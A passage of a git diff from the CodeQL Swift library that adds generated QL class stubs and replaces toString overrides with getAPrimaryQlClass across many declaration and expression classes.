+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.PlaceholderTypeRepr
+
+class PlaceholderTypeRepr extends PlaceholderTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/ProtocolTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/ProtocolTypeRepr.qll
new file mode 100644
index 00000000000..ca229b0fad5
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/ProtocolTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.ProtocolTypeRepr
+
+class ProtocolTypeRepr extends ProtocolTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/SharedTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/SharedTypeRepr.qll
new file mode 100644
index 00000000000..a2ab0f3a6fe
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/SharedTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.SharedTypeRepr
+
+class SharedTypeRepr extends SharedTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/SilBoxTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/SilBoxTypeRepr.qll
new file mode 100644
index 00000000000..f792f2fa348
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/SilBoxTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.SilBoxTypeRepr
+
+class SilBoxTypeRepr extends SilBoxTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/SimpleIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/SimpleIdentTypeRepr.qll
new file mode 100644
index 00000000000..070146f5ace
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/SimpleIdentTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.SimpleIdentTypeRepr
+
+class SimpleIdentTypeRepr extends SimpleIdentTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/SpecifierTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/SpecifierTypeRepr.qll
new file mode 100644
index 00000000000..40d1d648881
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/SpecifierTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.SpecifierTypeRepr
+
+class SpecifierTypeRepr extends SpecifierTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/elements/typerepr/TupleTypeRepr.qll b/swift/ql/lib/codeql/swift/elements/typerepr/TupleTypeRepr.qll
new file mode 100644
index 00000000000..44614dab3d2
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/elements/typerepr/TupleTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py, remove this comment if you wish to edit this file
+private import codeql.swift.generated.typerepr.TupleTypeRepr
+
+class TupleTypeRepr extends TupleTypeReprBase { }
diff --git a/swift/ql/lib/codeql/swift/generated/Element.qll b/swift/ql/lib/codeql/swift/generated/Element.qll
index fcb8e68c86f..a2c546d9c6b 100644
--- a/swift/ql/lib/codeql/swift/generated/Element.qll
+++ b/swift/ql/lib/codeql/swift/generated/Element.qll
@@ -2,6 +2,10 @@
 class ElementBase extends @element {
   string toString() { none() } // overridden by subclasses
 
+  string getAPrimaryQlClass() { none() } // overridden by subclasses
+
+  final string getPrimaryQlClasses() { result = concat(this.getAPrimaryQlClass(), ",") }
+
   ElementBase getResolveStep() { none() } // overridden by subclasses
 
   ElementBase resolve() {
@@ -9,4 +13,6 @@ class ElementBase extends @element {
     or
     result = getResolveStep().resolve()
   }
+
+  predicate isUnknown() { element_is_unknown(this) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/File.qll b/swift/ql/lib/codeql/swift/generated/File.qll
index 9c431346952..38f1ea107a7 100644
--- a/swift/ql/lib/codeql/swift/generated/File.qll
+++ b/swift/ql/lib/codeql/swift/generated/File.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.Element
 
 class FileBase extends @file, Element {
-  override string toString() { result = "File" }
+  override string getAPrimaryQlClass() { result = "File" }
 
   string getName() { files(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/Location.qll b/swift/ql/lib/codeql/swift/generated/Location.qll
index e30b4f275c1..8379e4a5259 100644
--- a/swift/ql/lib/codeql/swift/generated/Location.qll
+++ b/swift/ql/lib/codeql/swift/generated/Location.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.Element
 import codeql.swift.elements.File
 
 class LocationBase extends @location, Element {
-  override string toString() { result = "Location" }
+  override string getAPrimaryQlClass() { result = "Location" }
 
   File getFile() {
     exists(File x |
diff --git a/swift/ql/lib/codeql/swift/generated/UnknownAstNode.qll b/swift/ql/lib/codeql/swift/generated/UnknownAstNode.qll
deleted file mode 100644
index 657db267a96..00000000000
--- a/swift/ql/lib/codeql/swift/generated/UnknownAstNode.qll
+++ /dev/null
@@ -1,12 +0,0 @@
-// generated by codegen/codegen.py
-import codeql.swift.elements.decl.Decl
-import codeql.swift.elements.expr.Expr
-import codeql.swift.elements.pattern.Pattern
-import codeql.swift.elements.stmt.Stmt
-import codeql.swift.elements.typerepr.TypeRepr
-
-class UnknownAstNodeBase extends @unknown_ast_node, Decl, Expr, Pattern, Stmt, TypeRepr {
-  override string toString() { result = "UnknownAstNode" }
-
-  string getName() { unknown_ast_nodes(this, result) }
-}
diff --git a/swift/ql/lib/codeql/swift/generated/decl/AbstractFunctionDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/AbstractFunctionDecl.qll
index 26e65473f13..5a6ba0e41a7 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/AbstractFunctionDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/AbstractFunctionDecl.qll
@@ -14,6 +14,8 @@ class AbstractFunctionDeclBase extends @abstract_function_decl, GenericContext,
     )
   }
 
+  predicate hasBody() { exists(getBody()) }
+
   ParamDecl getParam(int index) {
     exists(ParamDecl x |
       abstract_function_decl_params(this, index, x) and
diff --git a/swift/ql/lib/codeql/swift/generated/decl/AccessorDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/AccessorDecl.qll
index 6be785a6ece..d293463d999 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/AccessorDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/AccessorDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.FuncDecl
 
 class AccessorDeclBase extends @accessor_decl, FuncDecl {
-  override string toString() { result = "AccessorDecl" }
+  override string getAPrimaryQlClass() { result = "AccessorDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/AssociatedTypeDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/AssociatedTypeDecl.qll
index fbcfb20c3ed..efd33b04d8c 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/AssociatedTypeDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/AssociatedTypeDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.AbstractTypeParamDecl
 
 class AssociatedTypeDeclBase extends @associated_type_decl, AbstractTypeParamDecl {
-  override string toString() { result = "AssociatedTypeDecl" }
+  override string getAPrimaryQlClass() { result = "AssociatedTypeDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ClassDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ClassDecl.qll
index 96a9cc587c5..d770f1f7b4f 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ClassDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ClassDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.NominalTypeDecl
 
 class ClassDeclBase extends @class_decl, NominalTypeDecl {
-  override string toString() { result = "ClassDecl" }
+  override string getAPrimaryQlClass() { result = "ClassDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ConcreteFuncDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ConcreteFuncDecl.qll
index b46b4745537..0ba9db75056 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ConcreteFuncDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ConcreteFuncDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.FuncDecl
 
 class ConcreteFuncDeclBase extends @concrete_func_decl, FuncDecl {
-  override string toString() { result = "ConcreteFuncDecl" }
+  override string getAPrimaryQlClass() { result = "ConcreteFuncDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ConcreteVarDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ConcreteVarDecl.qll
index f94ee9cad28..5be11bfe33a 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ConcreteVarDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ConcreteVarDecl.qll
@@ -2,7 +2,7 @@
 import codeql.swift.elements.decl.VarDecl
 
 class ConcreteVarDeclBase extends @concrete_var_decl, VarDecl {
-  override string toString() { result = "ConcreteVarDecl" }
+  override string getAPrimaryQlClass() { result = "ConcreteVarDecl" }
 
   int getIntroducerInt() { concrete_var_decls(this, result) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ConstructorDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ConstructorDecl.qll
index cc73243e409..208804ca71a 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ConstructorDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ConstructorDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.AbstractFunctionDecl
 
 class ConstructorDeclBase extends @constructor_decl, AbstractFunctionDecl {
-  override string toString() { result = "ConstructorDecl" }
+  override string getAPrimaryQlClass() { result = "ConstructorDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/DestructorDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/DestructorDecl.qll
index 3223ab2d196..647dbe8daec 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/DestructorDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/DestructorDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.AbstractFunctionDecl
 
 class DestructorDeclBase extends @destructor_decl, AbstractFunctionDecl {
-  override string toString() { result = "DestructorDecl" }
+  override string getAPrimaryQlClass() { result = "DestructorDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/EnumCaseDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/EnumCaseDecl.qll
index ef87a7a2de6..179552ebf94 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/EnumCaseDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/EnumCaseDecl.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.decl.Decl
 import codeql.swift.elements.decl.EnumElementDecl
 
 class EnumCaseDeclBase extends @enum_case_decl, Decl {
-  override string toString() { result = "EnumCaseDecl" }
+  override string getAPrimaryQlClass() { result = "EnumCaseDecl" }
 
   EnumElementDecl getElement(int index) {
     exists(EnumElementDecl x |
diff --git a/swift/ql/lib/codeql/swift/generated/decl/EnumDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/EnumDecl.qll
index e1c78ecadd0..ae84dea0998 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/EnumDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/EnumDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.NominalTypeDecl
 
 class EnumDeclBase extends @enum_decl, NominalTypeDecl {
-  override string toString() { result = "EnumDecl" }
+  override string getAPrimaryQlClass() { result = "EnumDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/EnumElementDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/EnumElementDecl.qll
index ace35b89318..5a7cc81bb31 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/EnumElementDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/EnumElementDecl.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.decl.ParamDecl
 import codeql.swift.elements.decl.ValueDecl
 
 class EnumElementDeclBase extends @enum_element_decl, ValueDecl {
-  override string toString() { result = "EnumElementDecl" }
+  override string getAPrimaryQlClass() { result = "EnumElementDecl" }
 
   string getName() { enum_element_decls(this, result) }
 
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ExtensionDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ExtensionDecl.qll
index 653f791ec76..0efc904e43a 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ExtensionDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ExtensionDecl.qll
@@ -4,5 +4,5 @@ import codeql.swift.elements.decl.GenericContext
 import codeql.swift.elements.decl.IterableDeclContext
 
 class ExtensionDeclBase extends @extension_decl, Decl, GenericContext, IterableDeclContext {
-  override string toString() { result = "ExtensionDecl" }
+  override string getAPrimaryQlClass() { result = "ExtensionDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/GenericTypeParamDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/GenericTypeParamDecl.qll
index effe651ea5e..990d69d1734 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/GenericTypeParamDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/GenericTypeParamDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.AbstractTypeParamDecl
 
 class GenericTypeParamDeclBase extends @generic_type_param_decl, AbstractTypeParamDecl {
-  override string toString() { result = "GenericTypeParamDecl" }
+  override string getAPrimaryQlClass() { result = "GenericTypeParamDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/IfConfigDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/IfConfigDecl.qll
index 6d53786e2c3..578051e9f8b 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/IfConfigDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/IfConfigDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.Decl
 
 class IfConfigDeclBase extends @if_config_decl, Decl {
-  override string toString() { result = "IfConfigDecl" }
+  override string getAPrimaryQlClass() { result = "IfConfigDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ImportDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ImportDecl.qll
index 53b2e7d9804..fdd89db170a 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ImportDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ImportDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.Decl
 
 class ImportDeclBase extends @import_decl, Decl {
-  override string toString() { result = "ImportDecl" }
+  override string getAPrimaryQlClass() { result = "ImportDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/InfixOperatorDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/InfixOperatorDecl.qll
index 4c91bed5227..47119bec078 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/InfixOperatorDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/InfixOperatorDecl.qll
@@ -1,6 +1,16 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.decl.OperatorDecl
+import codeql.swift.elements.decl.PrecedenceGroupDecl
 
 class InfixOperatorDeclBase extends @infix_operator_decl, OperatorDecl {
-  override string toString() { result = "InfixOperatorDecl" }
+  override string getAPrimaryQlClass() { result = "InfixOperatorDecl" }
+
+  PrecedenceGroupDecl getPrecedenceGroup() {
+    exists(PrecedenceGroupDecl x |
+      infix_operator_decl_precedence_groups(this, x) and
+      result = x.resolve()
+    )
+  }
+
+  predicate hasPrecedenceGroup() { exists(getPrecedenceGroup()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/MissingMemberDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/MissingMemberDecl.qll
index 19131ef4d9a..bc6002e56d2 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/MissingMemberDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/MissingMemberDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.Decl
 
 class MissingMemberDeclBase extends @missing_member_decl, Decl {
-  override string toString() { result = "MissingMemberDecl" }
+  override string getAPrimaryQlClass() { result = "MissingMemberDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ModuleDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ModuleDecl.qll
index f9337f91618..aad5d00c0c6 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ModuleDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ModuleDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.TypeDecl
 
 class ModuleDeclBase extends @module_decl, TypeDecl {
-  override string toString() { result = "ModuleDecl" }
+  override string getAPrimaryQlClass() { result = "ModuleDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/OpaqueTypeDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/OpaqueTypeDecl.qll
index 5e1e176aa38..42b8679dde0 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/OpaqueTypeDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/OpaqueTypeDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.GenericTypeDecl
 
 class OpaqueTypeDeclBase extends @opaque_type_decl, GenericTypeDecl {
-  override string toString() { result = "OpaqueTypeDecl" }
+  override string getAPrimaryQlClass() { result = "OpaqueTypeDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/OperatorDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/OperatorDecl.qll
index c81e359cbe4..22171d68b4b 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/OperatorDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/OperatorDecl.qll
@@ -1,4 +1,6 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.decl.Decl
 
-class OperatorDeclBase extends @operator_decl, Decl { }
+class OperatorDeclBase extends @operator_decl, Decl {
+  string getName() { operator_decls(this, result) }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ParamDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ParamDecl.qll
index e2f3b0a8d49..079c1cba19e 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ParamDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ParamDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.VarDecl
 
 class ParamDeclBase extends @param_decl, VarDecl {
-  override string toString() { result = "ParamDecl" }
+  override string getAPrimaryQlClass() { result = "ParamDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/PatternBindingDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/PatternBindingDecl.qll
index fd83d330670..44c80c76efa 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/PatternBindingDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/PatternBindingDecl.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.expr.Expr
 import codeql.swift.elements.pattern.Pattern
 
 class PatternBindingDeclBase extends @pattern_binding_decl, Decl {
-  override string toString() { result = "PatternBindingDecl" }
+  override string getAPrimaryQlClass() { result = "PatternBindingDecl" }
 
   Expr getInit(int index) {
     exists(Expr x |
@@ -13,9 +13,9 @@ class PatternBindingDeclBase extends @pattern_binding_decl, Decl {
     )
   }
 
-  Expr getAnInit() { result = getInit(_) }
+  predicate hasInit(int index) { exists(getInit(index)) }
 
-  int getNumberOfInits() { result = count(getAnInit()) }
+  Expr getAnInit() { result = getInit(_) }
 
   Pattern getPattern(int index) {
     exists(Pattern x |
diff --git a/swift/ql/lib/codeql/swift/generated/decl/PostfixOperatorDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/PostfixOperatorDecl.qll
index 94f709fa1b4..a52d858f853 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/PostfixOperatorDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/PostfixOperatorDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.OperatorDecl
 
 class PostfixOperatorDeclBase extends @postfix_operator_decl, OperatorDecl {
-  override string toString() { result = "PostfixOperatorDecl" }
+  override string getAPrimaryQlClass() { result = "PostfixOperatorDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/PoundDiagnosticDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/PoundDiagnosticDecl.qll
index af004769c83..32f723ae081 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/PoundDiagnosticDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/PoundDiagnosticDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.Decl
 
 class PoundDiagnosticDeclBase extends @pound_diagnostic_decl, Decl {
-  override string toString() { result = "PoundDiagnosticDecl" }
+  override string getAPrimaryQlClass() { result = "PoundDiagnosticDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/PrecedenceGroupDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/PrecedenceGroupDecl.qll
index 2da8c646cf0..381b92ed030 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/PrecedenceGroupDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/PrecedenceGroupDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.Decl
 
 class PrecedenceGroupDeclBase extends @precedence_group_decl, Decl {
-  override string toString() { result = "PrecedenceGroupDecl" }
+  override string getAPrimaryQlClass() { result = "PrecedenceGroupDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/PrefixOperatorDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/PrefixOperatorDecl.qll
index 9620dcb1d65..5f66eb16fc9 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/PrefixOperatorDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/PrefixOperatorDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.OperatorDecl
 
 class PrefixOperatorDeclBase extends @prefix_operator_decl, OperatorDecl {
-  override string toString() { result = "PrefixOperatorDecl" }
+  override string getAPrimaryQlClass() { result = "PrefixOperatorDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/ProtocolDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/ProtocolDecl.qll
index 322a29acd6b..1c57a13aae7 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/ProtocolDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/ProtocolDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.NominalTypeDecl
 
 class ProtocolDeclBase extends @protocol_decl, NominalTypeDecl {
-  override string toString() { result = "ProtocolDecl" }
+  override string getAPrimaryQlClass() { result = "ProtocolDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/StructDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/StructDecl.qll
index 65459bf93c2..135efec442a 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/StructDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/StructDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.NominalTypeDecl
 
 class StructDeclBase extends @struct_decl, NominalTypeDecl {
-  override string toString() { result = "StructDecl" }
+  override string getAPrimaryQlClass() { result = "StructDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/SubscriptDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/SubscriptDecl.qll
index b84abbec539..5d916618229 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/SubscriptDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/SubscriptDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.AbstractStorageDecl
 
 class SubscriptDeclBase extends @subscript_decl, AbstractStorageDecl {
-  override string toString() { result = "SubscriptDecl" }
+  override string getAPrimaryQlClass() { result = "SubscriptDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/TopLevelCodeDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/TopLevelCodeDecl.qll
index 9d460066513..7c664ad9bca 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/TopLevelCodeDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/TopLevelCodeDecl.qll
@@ -3,7 +3,7 @@ import codeql.swift.elements.stmt.BraceStmt
 import codeql.swift.elements.decl.Decl
 
 class TopLevelCodeDeclBase extends @top_level_code_decl, Decl {
-  override string toString() { result = "TopLevelCodeDecl" }
+  override string getAPrimaryQlClass() { result = "TopLevelCodeDecl" }
 
   BraceStmt getBody() {
     exists(BraceStmt x |
diff --git a/swift/ql/lib/codeql/swift/generated/decl/TypeAliasDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/TypeAliasDecl.qll
index d4d3573614e..fd437a62676 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/TypeAliasDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/TypeAliasDecl.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.decl.GenericTypeDecl
 
 class TypeAliasDeclBase extends @type_alias_decl, GenericTypeDecl {
-  override string toString() { result = "TypeAliasDecl" }
+  override string getAPrimaryQlClass() { result = "TypeAliasDecl" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/TypeDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/TypeDecl.qll
index 89ff09d7511..3e5eb593395 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/TypeDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/TypeDecl.qll
@@ -1,6 +1,18 @@
 // generated by codegen/codegen.py
+import codeql.swift.elements.type.Type
 import codeql.swift.elements.decl.ValueDecl
 
 class TypeDeclBase extends @type_decl, ValueDecl {
   string getName() { type_decls(this, result) }
+
+  Type getBaseType(int index) {
+    exists(Type x |
+      type_decl_base_types(this, index, x) and
+      result = x.resolve()
+    )
+  }
+
+  Type getABaseType() { result = getBaseType(_) }
+
+  int getNumberOfBaseTypes() { result = count(getABaseType()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/decl/VarDecl.qll b/swift/ql/lib/codeql/swift/generated/decl/VarDecl.qll
index 1ecd28c384a..2908b5e377d 100644
--- a/swift/ql/lib/codeql/swift/generated/decl/VarDecl.qll
+++ b/swift/ql/lib/codeql/swift/generated/decl/VarDecl.qll
@@ -1,5 +1,7 @@
 // generated by codegen/codegen.py
 import codeql.swift.elements.decl.AbstractStorageDecl
+import codeql.swift.elements.expr.Expr
+import codeql.swift.elements.pattern.Pattern
 import codeql.swift.elements.type.Type
 
 class VarDeclBase extends @var_decl, AbstractStorageDecl {
@@ -11,4 +13,31 @@ class VarDeclBase extends @var_decl, AbstractStorageDecl {
       result = x.resolve()
     )
   }
+
+  Type getAttachedPropertyWrapperType() {
+    exists(Type x |
+      var_decl_attached_property_wrapper_types(this, x) and
+      result = x.resolve()
+    )
+  }
+
+  predicate hasAttachedPropertyWrapperType() { exists(getAttachedPropertyWrapperType()) }
+
+  Pattern getParentPattern() {
+    exists(Pattern x |
+      var_decl_parent_patterns(this, x) and
+      result = x.resolve()
+    )
+  }
+
+  predicate hasParentPattern() { exists(getParentPattern()) }
+
+  Expr getParentInitializer() {
+    exists(Expr x |
+      var_decl_parent_initializers(this, x) and
+      result = x.resolve()
+    )
+  }
+
+  predicate hasParentInitializer() { exists(getParentInitializer()) }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/AnyHashableErasureExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/AnyHashableErasureExpr.qll
index 0c9bef9b580..6e95203d957 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/AnyHashableErasureExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/AnyHashableErasureExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.ImplicitConversionExpr
 
 class AnyHashableErasureExprBase extends @any_hashable_erasure_expr, ImplicitConversionExpr {
-  override string toString() { result = "AnyHashableErasureExpr" }
+  override string getAPrimaryQlClass() { result = "AnyHashableErasureExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/AppliedPropertyWrapperExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/AppliedPropertyWrapperExpr.qll
index 9aec2e17c3b..9fb974487e7 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/AppliedPropertyWrapperExpr.qll
+++ b/swift/ql/lib/codeql/swift/generated/expr/AppliedPropertyWrapperExpr.qll
@@ -2,5 +2,5 @@
 import codeql.swift.elements.expr.Expr
 
 class AppliedPropertyWrapperExprBase extends @applied_property_wrapper_expr, Expr {
-  override string toString() { result = "AppliedPropertyWrapperExpr" }
+  override string getAPrimaryQlClass() { result = "AppliedPropertyWrapperExpr" }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/expr/ArchetypeToSuperExpr.qll b/swift/ql/lib/codeql/swift/generated/expr/ArchetypeToSuperExpr.qll
index 51bcd473f69..7e9a9e4a7b8 100644
--- a/swift/ql/lib/codeql/swift/generated/expr/ArchetypeToSuperExpr.qll
